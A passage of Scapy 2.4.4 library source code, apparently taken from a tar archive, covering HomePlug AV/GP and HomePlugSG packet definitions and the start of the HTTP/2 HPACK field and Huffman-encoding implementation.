KeyType_list), XIntField("MyNonce", 0), XIntField("YourNonce", 0), ByteField("PID", 0), ShortField("ProtoRunNumber", 0), ByteField("ProtoMessNumber", 0), ByteField("CCoCapability", 0), StrFixedLenField("NetworkID", b"\x00" * 7, 7), ByteField("NewEncKeySelect", 0), StrFixedLenField("NewKey", b"\x00" * 16, 16)] class CM_SET_KEY_CNF(Packet): name = "CM_SET_KEY_CNF" fields_desc = [ByteEnumField("Result", 0x0, HPGP_codes), XIntField("MyNonce", 0), XIntField("YourNonce", 0), ByteField("PID", 0), ShortField("ProtoRunNumber", 0), ByteField("ProtoMessNumber", 0), ByteField("CCoCapability", 0)] # END # bind_layers(HomePlugAV, VS_ATTENUATION_CHARACTERISTICS_MME, HPtype=0xA14E) bind_layers(HomePlugAV, CM_SLAC_PARM_REQ, HPtype=0x6064) bind_layers(HomePlugAV, CM_SLAC_PARM_CNF, HPtype=0x6065) bind_layers(HomePlugAV, CM_START_ATTEN_CHAR_IND, HPtype=0x606a) bind_layers(HomePlugAV, CM_ATTEN_CHAR_IND, HPtype=0x606e) bind_layers(HomePlugAV, CM_ATTEN_CHAR_RSP, HPtype=0x606f) bind_layers(HomePlugAV, CM_MNBC_SOUND_IND, HPtype=0x6076) bind_layers(HomePlugAV, CM_SLAC_MATCH_REQ, HPtype=0x607c) bind_layers(HomePlugAV, CM_SLAC_MATCH_CNF, HPtype=0x607d) bind_layers(HomePlugAV, CM_SET_KEY_REQ, HPtype=0x6008) bind_layers(HomePlugAV, CM_SET_KEY_CNF, HPtype=0x6009) bind_layers(HomePlugAV, CM_ATTENUATION_CHARACTERISTICS_MME, HPtype=0x6086) scapy-2.4.4/scapy/contrib/homeplugsg.py000066400000000000000000000037061372370053500201560ustar00rootroot00000000000000#! /usr/bin/env python # This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = HomePlugSG Layer # scapy.contrib.status = loads from __future__ import absolute_import from scapy.packet import Packet, bind_layers from scapy.fields import FieldLenField, StrFixedLenField, StrLenField # Extends HomePlug AV and GP layer from scapy.contrib.homeplugav import HomePlugAV, QualcommTypeList # # Copyright (C) HomePlugSG Layer for Scapy by FlUxIuS (Sebastien Dudek) # # HomePlug GP extension for SG HomePlugSGTypes = {0xA400: "VS_UART_CMD_Req", 0xA401: "VS_UART_CMD_Cnf"} QualcommTypeList.update(HomePlugSGTypes) # UART commands over HomePlugGP class VS_UART_CMD_REQ(Packet): name = "VS_UART_CMD_REQ" fields_desc = [FieldLenField("UDataLen", None, count_of="UData", fmt="H"), StrLenField("UData", "UartCommand\x00", length_from=lambda pkt: pkt.UDataLen)] class VS_UART_CMD_CNF(Packet): name = "VS_UART_CMD_CNF" fields_desc = [StrFixedLenField("reserved", b"\x00", 6), FieldLenField("UDataLen", None, count_of="UData", fmt="H"), StrLenField("UData", "UartCommand\x00", length_from=lambda pkt: pkt.UDataLen)] # END # bind_layers(HomePlugAV, VS_UART_CMD_REQ, HPtype=0xA400) bind_layers(HomePlugAV, VS_UART_CMD_CNF, HPtype=0xA401) scapy-2.4.4/scapy/contrib/http2.py000066400000000000000000003163611372370053500170510ustar00rootroot00000000000000############################################################################# # # # http2.py --- HTTP/2 support for Scapy # # see RFC7540 and RFC7541 # # for more information # # # # Copyright (C) 2016 Florian Maury # # # # This file is part of Scapy # # Scapy is free software: you can redistribute it and/or modify it # # under the terms of the GNU General Public License version 2 as # # published by the Free Software Foundation. # # # # This program is distributed in the hope that it will be useful, but # # WITHOUT ANY WARRANTY; without even the implied warranty of # # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # # General Public License for more details. # # # ############################################################################# """http2 Module Implements packets and fields required to encode/decode HTTP/2 Frames and HPack encoded headers """ # scapy.contrib.status=loads # scapy.contrib.description=HTTP/2 (RFC 7540, RFC 7541) # base_classes triggers an unwanted import warning from __future__ import absolute_import from __future__ import print_function import abc import re import sys from io import BytesIO import struct import scapy.modules.six as six from scapy.compat import raw, plain_str, hex_bytes, orb, chb, bytes_encode # Only required if using mypy-lang for static typing # Most symbols are used in mypy-interpreted "comments". # Sized must be one of the superclasses of a class implementing __len__ from scapy.compat import Optional, List, Union, Callable, Any, \ Tuple, Sized, Pattern # noqa: F401 from scapy.base_classes import Packet_metaclass # noqa: F401 import scapy.fields as fields import scapy.packet as packet import scapy.config as config import scapy.volatile as volatile import scapy.error as error ############################################################################### # HPACK Integer Fields # ############################################################################### class HPackMagicBitField(fields.BitField): """ HPackMagicBitField is a BitField variant that cannot be assigned another value than the default one. This field must not be used where there is potential for fuzzing. OTOH, this field makes sense (for instance, if the magic bits are used by a dispatcher to select the payload class) """ __slots__ = ['_magic'] def __init__(self, name, default, size): # type: (str, int, int) -> None """ :param str name: this field instance name. :param int default: this field only valid value. :param int size: this bitfield bitlength. :return: None :raises: AssertionError """ assert(default >= 0) # size can be negative if encoding is little-endian (see rev property of bitfields) # noqa: E501 assert(size != 0) self._magic = default super(HPackMagicBitField, self).__init__(name, default, size) def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> Union[str, Tuple[str, int, int]] # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param str|(str, int, long) s: either a str if 0 == size%8 or a tuple with the string to add this field to, the # noqa: E501 number of bits already generated and the generated value so far. :param int val: unused; must be equal to default value :return: str|(str, int, long): the s string extended with this field machine representation # noqa: E501 :raises: AssertionError """ assert val == self._magic, 'val parameter must value {}; received: {}'.format(self._magic, val) # noqa: E501 return super(HPackMagicBitField, self).addfield(pkt, s, self._magic) def getfield(self, pkt, s): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[Union[Tuple[str, int], str], int] # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param str|(str, int) s: either a str if size%8==0 or a tuple with the string to parse from and the number of # noqa: E501 bits already consumed by previous bitfield-compatible fields. :return: (str|(str, int), int): Returns the remaining string and the parsed value. May return a tuple if there # noqa: E501 are remaining bits to parse in the first byte. Returned value is equal to default value # noqa: E501 :raises: AssertionError """ r = super(HPackMagicBitField, self).getfield(pkt, s) assert ( isinstance(r, tuple) and len(r) == 2 and isinstance(r[1], six.integer_types) ), 'Second element of BitField.getfield return value expected to be an int or a long; API change detected' # noqa: E501 assert r[1] == self._magic, 'Invalid value parsed from s; error in class guessing detected!' # noqa: E501 return r def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).h2i(pkt, self._magic) def i2h(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).i2h(pkt, self._magic) def m2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: must be the machine representatino of the default value :return: int; default value :raises: AssertionError """ r = super(HPackMagicBitField, self).m2i(pkt, x) assert r == self._magic, 'Invalid value parsed from m2i; error in class guessing detected!' # noqa: E501 return r def i2m(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).i2m(pkt, self._magic) def any2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused # noqa: E501 :param int x: unused; must be equal to default value :return: int; default value :raises: AssertionError """ assert x == self._magic, \ 'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic) # noqa: E501 return super(HPackMagicBitField, self).any2i(pkt, self._magic) class AbstractUVarIntField(fields.Field): """AbstractUVarIntField represents an integer as defined in RFC7541 """ __slots__ = ['_max_value', 'size', 'rev'] """ :var int size: the bit length of the prefix of this AbstractUVarIntField. It # noqa: E501 represents the complement of the number of MSB that are used in the current byte for other purposes by some other BitFields :var int _max_value: the maximum value that can be stored in the sole prefix. If the integer equals or exceeds this value, the max prefix value is assigned to the size first bits and the multibyte representation is used :var bool rev: is a fake property, also emulated for the sake of compatibility with Bitfields """ def __init__(self, name, default, size): # type: (str, Optional[int], int) -> None """ :param str name: the name of this field instance :param int|None default: positive, null or None default value for this field instance. # noqa: E501 :param int size: the number of bits to consider in the first byte. Valid range is ]0;8] # noqa: E501 :return: None :raises: AssertionError """ assert(default is None or (isinstance(default, six.integer_types) and default >= 0)) # noqa: E501 assert(0 < size <= 8) super(AbstractUVarIntField, self).__init__(name, default) self.size = size self._max_value = (1 << self.size) - 1 # Configuring the fake property that is useless for this class but that is # noqa: E501 # expected from BitFields self.rev = False def h2i(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> Optional[int] """ :param packet.Packet|None pkt: unused. :param int|None x: the value to convert. :return: int|None: the converted value. :raises: AssertionError """ assert(not isinstance(x, six.integer_types) or x >= 0) return x def i2h(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> Optional[int] """ :param packet.Packet|None pkt: unused. :param int|None x: the value to convert. :return:: int|None: the converted value. """ return x def _detect_multi_byte(self, fb): # type: (str) -> bool """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on # noqa: E501 multiple bytes or not. A multibyte representation is indicated by all of the first size bits being set # noqa: E501 :param str fb: first byte, as a character. :return: bool: True if multibyte repr detected, else False. :raises: AssertionError """ assert(isinstance(fb, int) or len(fb) == 1) return (orb(fb) & self._max_value) == self._max_value def _parse_multi_byte(self, s): # type: (str) -> int """ _parse_multi_byte parses x as a multibyte representation to get the int value of this AbstractUVarIntField. :param str s: the multibyte string to parse. :return: int: The parsed int value represented by this AbstractUVarIntField. # noqa: E501 :raises:: AssertionError :raises:: Scapy_Exception if the input value encodes an integer larger than 1<<64 # noqa: E501 """ assert(len(s) >= 2) tmp_len = len(s) value = 0 i = 1 byte = orb(s[i]) # For CPU sake, stops at an arbitrary large number! max_value = 1 << 64 # As long as the MSG is set, an another byte must be read while byte & 0x80: value += (byte ^ 0x80) << (7 * (i - 1)) if value > max_value: raise error.Scapy_Exception( 'out-of-bound value: the string encodes a value that is too large (>2^{{64}}): {}'.format(value) # noqa: E501 ) i += 1 assert i < tmp_len, 'EINVAL: x: out-of-bound read: the string ends before the AbstractUVarIntField!' # noqa: E501 byte = orb(s[i]) value += byte << (7 * (i - 1)) value += self._max_value assert(value >= 0) return value def m2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> int """ A tuple is expected for the "x" param only if "size" is different than 8. If a tuple is received, some bits # noqa: E501 were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must # noqa: E501 equal "size". :param packet.Packet|None pkt: unused. :param str|(str, int) x: the string to convert. If bits were consumed by a previous bitfield-compatible field. # noqa: E501 :raises: AssertionError """ assert(isinstance(x, bytes) or (isinstance(x, tuple) and x[1] >= 0)) if isinstance(x, tuple): assert (8 - x[1]) == self.size, 'EINVAL: x: not enough bits remaining in current byte to read the prefix' # noqa: E501 val = x[0] else: assert isinstance(x, bytes) and self.size == 8, 'EINVAL: x: tuple expected when prefix_len is not a full byte' # noqa: E501 val = x if self._detect_multi_byte(val[0]): ret = self._parse_multi_byte(val) else: ret = orb(val[0]) & self._max_value assert(ret >= 0) return ret def i2m(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ :param packet.Packet|None pkt: unused. :param int x: the value to convert. :return: str: the converted value. :raises: AssertionError """ assert(x >= 0) if x < self._max_value: return chb(x) else: # The sl list join is a performance trick, because string # concatenation is not efficient with Python immutable strings sl = [chb(self._max_value)] x -= self._max_value while x >= 0x80: sl.append(chb(0x80 | (x & 0x7F))) x >>= 7 sl.append(chb(x)) return b''.join(sl) def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[None, str, int]) -> Optional[int] # noqa: E501 """ A "x" value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value. # noqa: E501 None is returned as is. :param packet.Packet|None pkt: the packet containing this field; probably unused. # noqa: E501 :param str|int|None x: the value to convert. :return: int|None: the converted value. :raises: AssertionError """ if isinstance(x, type(None)): return x if isinstance(x, six.integer_types): assert(x >= 0) ret = self.h2i(pkt, x) assert(isinstance(ret, six.integer_types) and ret >= 0) return ret elif isinstance(x, bytes): ret = self.m2i(pkt, x) assert (isinstance(ret, six.integer_types) and ret >= 0) return ret assert False, 'EINVAL: x: No idea what the parameter format is' def i2repr(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> str """ :param packet.Packet|None pkt: probably unused. :param x: int|None: the positive, null or none value to convert. :return: str: the representation of the value. """ return repr(self.i2h(pkt, x)) def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> str # noqa: E501 """ An AbstractUVarIntField prefix always consumes the remaining bits of a BitField;if no current BitField is in use (no tuple in entry) then the prefix length is 8 bits and the whole byte is to be consumed :param packet.Packet|None pkt: the packet containing this field. Probably unused. :param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the number of bits already generated in the first byte of the str. The long is the value that was generated by the previous bitfield-compatible fields. :param int val: the positive or null value to be added. :return: str: s concatenated with the machine representation of this field. :raises: AssertionError """ assert(val >= 0) if isinstance(s, bytes): assert self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte' # noqa: E501 return s + self.i2m(pkt, val) # s is a tuple # assert(s[1] >= 0) # assert(s[2] >= 0) # assert (8 - s[1]) == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix' # noqa: E501 if val >= self._max_value: return s[0] + chb((s[2] << self.size) + self._max_value) + self.i2m(pkt, val)[1:] # noqa: E501 # This AbstractUVarIntField is only one byte long; setting the prefix value # noqa: E501 # and appending the resulting byte to the string return s[0] + chb((s[2] << self.size) + orb(self.i2m(pkt, val))) @staticmethod def _detect_bytelen_from_str(s): # type: (str) -> int """ _detect_bytelen_from_str returns the length of the machine representation of an AbstractUVarIntField starting at the beginning of s and which is assumed to expand over multiple bytes (value > _max_prefix_value). :param str s: the string to parse. It is assumed that it is a multibyte int. # noqa: E501 :return: The bytelength of the AbstractUVarIntField. :raises: AssertionError """ assert(len(s) >= 2) tmp_len = len(s) i = 1 while orb(s[i]) & 0x80 > 0: i += 1 assert i < tmp_len, 'EINVAL: s: out-of-bound read: unfinished AbstractUVarIntField detected' # noqa: E501 ret = i + 1 assert(ret >= 0) return ret def i2len(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ :param packet.Packet|None pkt: unused. :param int x: the positive or null value whose binary size if requested. # noqa: E501 :raises: AssertionError """ assert(x >= 0) if x < self._max_value: return 1 # x is expressed over multiple bytes x -= self._max_value i = 1 if x == 0: i += 1 while x > 0: x >>= 7 i += 1 ret = i assert(ret >= 0) return ret def getfield(self, pkt, s): # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[str, int] # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field; probably unused. :param str|(str, int) s: the input value to get this field value from. If size is 8, s is a string, else it is a tuple containing the value and an int indicating the number of bits already consumed in the first byte of the str. The number of remaining bits to consume in the first byte must be equal to "size". :return: (str, int): the remaining bytes of s and the parsed value. :raises: AssertionError """ if isinstance(s, tuple): assert(len(s) == 2) temp = s # type: Tuple[str, int] ts, ti = temp assert(ti >= 0) assert 8 - ti == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix' # noqa: E501 val = ts else: assert isinstance(s, bytes) and self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte' # noqa: E501 val = s if self._detect_multi_byte(val[0]): tmp_len = self._detect_bytelen_from_str(val) else: tmp_len = 1 ret = val[tmp_len:], self.m2i(pkt, s) assert(ret[1] >= 0) return ret def randval(self): # type: () -> volatile.VolatileValue """ :return: volatile.VolatileValue: a volatile value for this field "long"-compatible internal value. # noqa: E501 """ return volatile.RandLong() class UVarIntField(AbstractUVarIntField): def __init__(self, name, default, size): # type: (str, int, int) -> None """ :param str name: the name of this field instance. :param default: the default value for this field instance. default must be positive or null. # noqa: E501 :raises: AssertionError """ assert(default >= 0) assert(0 < size <= 8) super(UVarIntField, self).__init__(name, default, size) self.size = size self._max_value = (1 << self.size) - 1 # Configuring the fake property that is useless for this class but that is # noqa: E501 # expected from BitFields self.rev = False def h2i(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ h2i is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param int x: the value to convert. :return: int: the converted value. :raises: AssertionError """ ret = super(UVarIntField, self).h2i(pkt, x) assert(not isinstance(ret, type(None)) and ret >= 0) return ret def i2h(self, pkt, x): # type: (Optional[packet.Packet], int) -> int """ i2h is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param int x: the value to convert. :return: int: the converted value. :raises: AssertionError """ ret = super(UVarIntField, self).i2h(pkt, x) assert(not isinstance(ret, type(None)) and ret >= 0) return ret def any2i(self, pkt, x): # type: (Optional[packet.Packet], Union[str, int]) -> int """ any2i is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param str|int x: the value to convert. :return: int: the converted value. :raises: AssertionError """ ret = super(UVarIntField, self).any2i(pkt, x) assert(not isinstance(ret, type(None)) and ret >= 0) return ret def i2repr(self, pkt, x): # type: (Optional[packet.Packet], int) -> str """ i2repr is overloaded to restrict the acceptable x values (not None) :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused. # noqa: E501 :param int x: the value to convert. :return: str: the converted value. """ return super(UVarIntField, self).i2repr(pkt, x) class FieldUVarLenField(AbstractUVarIntField): __slots__ = ['_length_of', '_adjust'] def __init__(self, name, default, size, length_of, adjust=lambda x: x): # type: (str, Optional[int], int, str, Callable[[int], int]) -> None """ Initializes a FieldUVarLenField :param str name: The name of this field instance. :param int|None default: the default value of this field instance. :param int size: the number of bits that are occupied by this field in the first byte of a binary string. # noqa: E501 size must be in the range ]0;8]. :param str length_of: The name of the field this field value is measuring/representing. # noqa: E501 :param callable adjust: A function that modifies the value computed from the "length_of" field. # noqa: E501 adjust can be used for instance to add a constant to the length_of field # noqa: E501 length. For instance, let's say that i2len of the length_of field returns 2. If adjust is lambda x: x+1 In that case, this field will value 3 at build time. :return: None :raises: AssertionError """ assert(default is None or default >= 0) assert(0 < size <= 8) super(FieldUVarLenField, self).__init__(name, default, size) self._length_of = length_of self._adjust = adjust def addfield(self, pkt, s, val): # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], Optional[int]) -> str # noqa: E501 """ :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be # noqa: E501 None if the val parameter is. :param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already # noqa: E501 generated by another bitfield-compatible field. This MUST be the case if "size" is not 8. The int is the # noqa: E501 number of bits already generated in the first byte of the str. The long is the value that was generated by the # noqa: E501 previous bitfield-compatible fields. :param int|None val: the positive or null value to be added. If None, the value is computed from pkt. # noqa: E501 :return: str: s concatenated with the machine representation of this field. # noqa: E501 :raises: AssertionError """ if val is None: assert isinstance(pkt, packet.Packet), \ 'EINVAL: pkt: Packet expected when val is None; received {}'.format(type(pkt)) # noqa: E501 val = self._compute_value(pkt) return super(FieldUVarLenField, self).addfield(pkt, s, val) def i2m(self, pkt, x): # type: (Optional[packet.Packet], Optional[int]) -> str """ :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be # noqa: E501 None if the x parameter is. :param int|None x: the positive or null value to be added. If None, the value is computed from pkt. # noqa: E501 :return: str :raises: AssertionError """ if x is None: assert isinstance(pkt, packet.Packet), \ 'EINVAL: pkt: Packet expected when x is None; received {}'.format(type(pkt)) # noqa: E501 x = self._compute_value(pkt) return super(FieldUVarLenField, self).i2m(pkt, x) def _compute_value(self, pkt): # type: (packet.Packet) -> int """ Computes the value of this field based on the provided packet and the length_of field and the adjust callback :param packet.Packet pkt: the packet from which is computed this field value. # noqa: E501 :return: int: the computed value for this field. :raises: KeyError: the packet nor its payload do not contain an attribute with the length_of name. :raises: AssertionError :raises: KeyError if _length_of is not one of pkt fields """ fld, fval = pkt.getfield_and_val(self._length_of) val = fld.i2len(pkt, fval) ret = self._adjust(val) assert(ret >= 0) return ret ############################################################################### # HPACK String Fields # ############################################################################### # Welcome the magic of Python inconsistencies ! # https://stackoverflow.com/a/41622155 if sys.version_info >= (3, 4): ABC = abc.ABC else: ABC = abc.ABCMeta('ABC', (), {}) class HPackStringsInterface(ABC, Sized): # type: ignore @abc.abstractmethod def __str__(self): pass def __bytes__(self): r = self.__str__() return bytes_encode(r) @abc.abstractmethod def origin(self): pass @abc.abstractmethod def __len__(self): pass class HPackLiteralString(HPackStringsInterface): """ HPackLiteralString is a string. This class is used as a marker and implements an interface in common with HPackZString """ __slots__ = ['_s'] def __init__(self, s): # type: (str) -> None self._s = s def __str__(self): # type: () -> str return self._s def origin(self): # type: () -> str return plain_str(self._s) def __len__(self): # type: () -> int return len(self._s) class EOS(object): """ Simple "marker" to designate the End Of String symbol in the huffman table """ class HuffmanNode(object): """ HuffmanNode is an entry of the binary tree used for encoding/decoding HPack compressed HTTP/2 headers """ __slots__ = ['left', 'right'] """@var l: the left branch of this node @var r: the right branch of this Node These variables can value None (leaf node), another HuffmanNode, or a symbol. Symbols are either a character or the End Of String symbol (class EOS) """ def __init__(self, left, right): # type: (Union[None, HuffmanNode, EOS, str], Union[None, HuffmanNode, EOS, str]) -> None # noqa: E501 self.left = left self.right = right def __getitem__(self, b): # type: (int) -> Union[None, HuffmanNode, EOS, str] return self.right if b else self.left def __setitem__(self, b, val): # type: (int, Union[None, HuffmanNode, EOS, str]) -> None if b: self.right = val else: self.left = val def __str__(self): # type: () -> str return self.__repr__() def __repr__(self): # type: () -> str return '({}, {})'.format(self.left, self.right) class InvalidEncodingException(Exception): """ InvalidEncodingException is raised when a supposedly huffman-encoded string is decoded and a decoding error arises """ class HPackZString(HPackStringsInterface): __slots__ = ['_s', '_encoded'] # From RFC 7541 # Tuple is (code,code bitlength) # The bitlength is required to know how long the left padding # (implicit 0's) there are static_huffman_code = [ (0x1ff8, 13), (0x7fffd8, 23), (0xfffffe2, 28), (0xfffffe3, 28), (0xfffffe4, 28), (0xfffffe5, 28), (0xfffffe6, 28), (0xfffffe7, 28), (0xfffffe8, 28), (0xffffea, 24), (0x3ffffffc, 30), (0xfffffe9, 28), (0xfffffea, 28), (0x3ffffffd, 30), (0xfffffeb, 28), (0xfffffec, 28), (0xfffffed, 28), (0xfffffee, 28), (0xfffffef, 28), (0xffffff0, 28), (0xffffff1, 28), (0xffffff2, 28), (0x3ffffffe, 30), (0xffffff3, 28), (0xffffff4, 28), (0xffffff5, 28), (0xffffff6, 28), (0xffffff7, 28), (0xffffff8, 28), (0xffffff9, 28), (0xffffffa, 28), (0xffffffb, 28), (0x14, 6), (0x3f8, 10), (0x3f9, 10), (0xffa, 12), (0x1ff9, 13), (0x15, 6), (0xf8, 8), (0x7fa, 11), (0x3fa, 10), (0x3fb, 10), (0xf9, 8), (0x7fb, 11), (0xfa, 8), (0x16, 6), (0x17, 6), (0x18, 6), (0x0, 5), (0x1, 5), (0x2, 5), (0x19, 6), (0x1a, 6), (0x1b, 6), (0x1c, 6), (0x1d, 6), (0x1e, 6), (0x1f, 6), (0x5c, 7), (0xfb, 8), (0x7ffc, 15), (0x20, 6), (0xffb, 12), (0x3fc, 10), (0x1ffa, 13), (0x21, 6), (0x5d, 7), (0x5e, 7), (0x5f, 7), (0x60, 7), (0x61, 7), (0x62, 7), (0x63, 7), (0x64, 7), (0x65, 7), (0x66, 7), (0x67, 7), (0x68, 7), (0x69, 7), (0x6a, 7), (0x6b, 7), (0x6c, 7), (0x6d, 7), (0x6e, 7), (0x6f, 7), (0x70, 7), (0x71, 7), (0x72, 7), (0xfc, 8), (0x73, 7), (0xfd, 8), (0x1ffb, 13), (0x7fff0, 19), (0x1ffc, 13), (0x3ffc, 14), (0x22, 6), (0x7ffd, 15), (0x3, 5), (0x23, 6), (0x4, 5), (0x24, 6), (0x5, 5), (0x25, 6), (0x26, 6), (0x27, 6), (0x6, 5), (0x74, 7), (0x75, 7), (0x28, 6), (0x29, 6), (0x2a, 6), (0x7, 5), (0x2b, 6), (0x76, 7), (0x2c, 6), (0x8, 5), (0x9, 5), (0x2d, 6), (0x77, 7), (0x78, 7), (0x79, 7), (0x7a, 7), (0x7b, 7), (0x7ffe, 15), (0x7fc, 11), (0x3ffd, 14), (0x1ffd, 13), (0xffffffc, 28), (0xfffe6, 20), (0x3fffd2, 22), (0xfffe7, 20), (0xfffe8, 20), (0x3fffd3, 22), (0x3fffd4, 22), (0x3fffd5, 22), (0x7fffd9, 23), (0x3fffd6, 22), (0x7fffda, 23), (0x7fffdb, 23), (0x7fffdc, 23), (0x7fffdd, 23), (0x7fffde, 23), (0xffffeb, 24), (0x7fffdf, 23), (0xffffec, 24), (0xffffed, 24), (0x3fffd7, 22), (0x7fffe0, 23), (0xffffee, 24), (0x7fffe1, 23), (0x7fffe2, 23), (0x7fffe3, 23), (0x7fffe4, 23), (0x1fffdc, 21), (0x3fffd8, 22), (0x7fffe5, 23), (0x3fffd9, 22), (0x7fffe6, 23), (0x7fffe7, 23), (0xffffef, 24), (0x3fffda, 22), (0x1fffdd, 21), (0xfffe9, 20), (0x3fffdb, 22), (0x3fffdc, 22), (0x7fffe8, 23), (0x7fffe9, 23), (0x1fffde, 21), (0x7fffea, 23), (0x3fffdd, 22), (0x3fffde, 22), (0xfffff0, 24), (0x1fffdf, 21), (0x3fffdf, 22), (0x7fffeb, 23), (0x7fffec, 23), (0x1fffe0, 21), (0x1fffe1, 21), (0x3fffe0, 22), (0x1fffe2, 21), (0x7fffed, 23), (0x3fffe1, 22), (0x7fffee, 23), (0x7fffef, 23), (0xfffea, 20), (0x3fffe2, 22), (0x3fffe3, 22), (0x3fffe4, 22), (0x7ffff0, 23), (0x3fffe5, 22), (0x3fffe6, 22), (0x7ffff1, 23), (0x3ffffe0, 26), (0x3ffffe1, 26), (0xfffeb, 20), (0x7fff1, 19), (0x3fffe7, 22), (0x7ffff2, 23), (0x3fffe8, 22), (0x1ffffec, 25), (0x3ffffe2, 26), (0x3ffffe3, 26), (0x3ffffe4, 26), (0x7ffffde, 27), (0x7ffffdf, 27), (0x3ffffe5, 26), (0xfffff1, 24), (0x1ffffed, 25), (0x7fff2, 19), (0x1fffe3, 21), (0x3ffffe6, 26), (0x7ffffe0, 27), (0x7ffffe1, 27), (0x3ffffe7, 26), (0x7ffffe2, 27), (0xfffff2, 24), (0x1fffe4, 21), (0x1fffe5, 21), (0x3ffffe8, 26), (0x3ffffe9, 26), (0xffffffd, 28), (0x7ffffe3, 27), (0x7ffffe4, 27), (0x7ffffe5, 27), (0xfffec, 20), (0xfffff3, 24), (0xfffed, 20), (0x1fffe6, 21), (0x3fffe9, 22), (0x1fffe7, 21), (0x1fffe8, 21), (0x7ffff3, 23), (0x3fffea, 22), (0x3fffeb, 22), (0x1ffffee, 25), (0x1ffffef, 25), (0xfffff4, 24), (0xfffff5, 24), (0x3ffffea, 26), (0x7ffff4, 23), (0x3ffffeb, 26), (0x7ffffe6, 27), (0x3ffffec, 26), (0x3ffffed, 26), (0x7ffffe7, 27), (0x7ffffe8, 27), (0x7ffffe9, 27), (0x7ffffea, 27), (0x7ffffeb, 27), (0xffffffe, 28), (0x7ffffec, 27), (0x7ffffed, 27), (0x7ffffee, 27), (0x7ffffef, 27), (0x7fffff0, 27), (0x3ffffee, 26), (0x3fffffff, 30) ] static_huffman_tree = None # type: HuffmanNode @classmethod def _huffman_encode_char(cls, c): # type: (Union[str, EOS]) -> Tuple[int, int] """ huffman_encode_char assumes that the static_huffman_tree was previously initialized :param str|EOS c: a symbol to encode :return: (int, int): the bitstring of the symbol and its bitlength :raises: AssertionError """ if isinstance(c, EOS): return cls.static_huffman_code[-1] else: assert(isinstance(c, int) or len(c) == 1) return cls.static_huffman_code[orb(c)] @classmethod def huffman_encode(cls, s): # type: (str) -> Tuple[int, int] """ huffman_encode returns the bitstring and the bitlength of the bitstring representing the string provided as a parameter :param str s: the string to encode :return: (int, int): the bitstring of s and its bitlength :raises: AssertionError """ i = 0 ibl = 0 for c in s: val, bl = cls._huffman_encode_char(c) i = (i << bl) + val ibl += bl padlen = 8 - (ibl % 8) if padlen != 8: val, bl = cls._huffman_encode_char(EOS()) i = (i << padlen) + (val >> (bl - padlen)) ibl += padlen ret = i, ibl assert(ret[0] >= 0) assert (ret[1] >= 0) return ret @classmethod def 